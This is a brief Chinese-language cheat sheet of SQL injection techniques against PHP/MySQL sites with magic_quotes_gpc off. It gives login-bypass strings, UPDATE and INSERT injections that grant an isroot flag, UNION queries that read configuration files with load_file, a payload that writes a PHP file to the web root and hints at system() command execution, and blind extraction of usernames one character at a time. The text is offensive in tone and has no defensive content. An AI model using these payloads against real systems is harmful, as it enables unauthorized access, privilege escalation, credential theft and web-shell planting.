magic_quotes_gpc=Off的情况
1.字符串的注入
select:
正常select * from user where username='admin' and password='12$%&*'
利用#作为mysql中的注释:提交username的注入 admin'# 语句变为select * from user where username='admin'#' and password='12$%&*'
或者是admin' or 1=1 语句变为select * from user where username='admin' or 1=1 and password='12$%&*'
update:
同理把UPDATE users SET password='abc',email='will@163.com’ WHERE id=1
转为UPDATE users SET password='abc',email='will@163.com’,isroot=’1’ WHERE id=1
insert:
同理INSERT INTO user VALUES('$id','$login','$pass','$email',’2')
改为INSERT INTO user VALUES ('id','name','pass','will@163.com’,’1’)#','2')
3.利用union
select title from test where id=1 and 1<>1 union select password from user;
读文件:
select id,name from user where id=1 and 1<>1 union select 1,load_file('c:/../sql.inc');
有可能搞到了配置信息了噢
写文件:
select name from user where id=1 and 1<>1 union select '<?php phpinfo(); ?>' from user into outfile '../a.php';
现在可以访问a.php看看吧。如果是<?php system(dir); ?>呢
知道同一个表的id以及表名。然后猜测用户名第一位是否为a: select id from user where id=1 and ascii(mid(name,1,1))=97;
看另一个表:select id from test where id=(select 1 from user where ascii(mid(name,1,1))=97);